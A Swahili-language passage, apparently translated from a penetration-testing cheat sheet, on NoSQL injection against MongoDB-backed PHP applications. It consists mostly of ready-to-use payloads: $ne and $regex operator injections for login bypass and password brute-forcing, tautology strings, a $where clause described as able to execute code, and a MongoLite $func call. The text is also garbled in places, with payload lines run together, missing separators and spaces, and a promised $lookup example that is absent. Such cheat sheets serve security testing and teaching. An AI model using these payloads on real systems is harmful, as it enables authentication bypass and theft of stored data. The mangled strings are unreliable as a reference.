Katika PHP unaweza kutuma Array ukibadilisha parameter iliyotumwa kutoka parameter=foo hadi parameter[arrName]=foo.
Exploits zinategemea kuongeza Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Mshambuliaji anaweza kutumia hii kwa kuingiza nyuzi kama admin' || 'a'=='a, na kufanya uchunguzi urudishe hati zote kwa kuridhisha hali hiyo kwa tautology ('a'=='a'). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama ' or 1=1-- - hutumiwa kubadilisha maswali ya SQL. Katika MongoDB, sindano zinazofanana zinaweza kufanywa kwa kutumia ingizo kama ' || 1==1//, ' || 1==1%00, au admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Extract length information
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Kwa kutumia opereta $func wa maktaba ya MongoLite (inayotumika kwa default) inaweza kuwa inawezekana kutekeleza kazi yoyote kama ilivyo katika ripoti hii.
"user":{"$func":"var_dump"}
Pata taarifa kutoka kwa mkusanyiko tofauti
Inawezekana kutumia $lookup kupata taarifa kutoka kwa mkusanyiko tofauti. Katika mfano ufuatao, tunasoma kutoka kwa mkusanyiko tofauti unaoitwa users na kupata matokeo ya kila ingizo lenye nenosiri linalolingana na wildcard.
NOTE:$lookup na kazi nyingine za kujumlisha zinapatikana tu ikiwa kazi ya aggregate() ilitumika kufanya utafutaji badala ya kazi za kawaida za find() au findOne().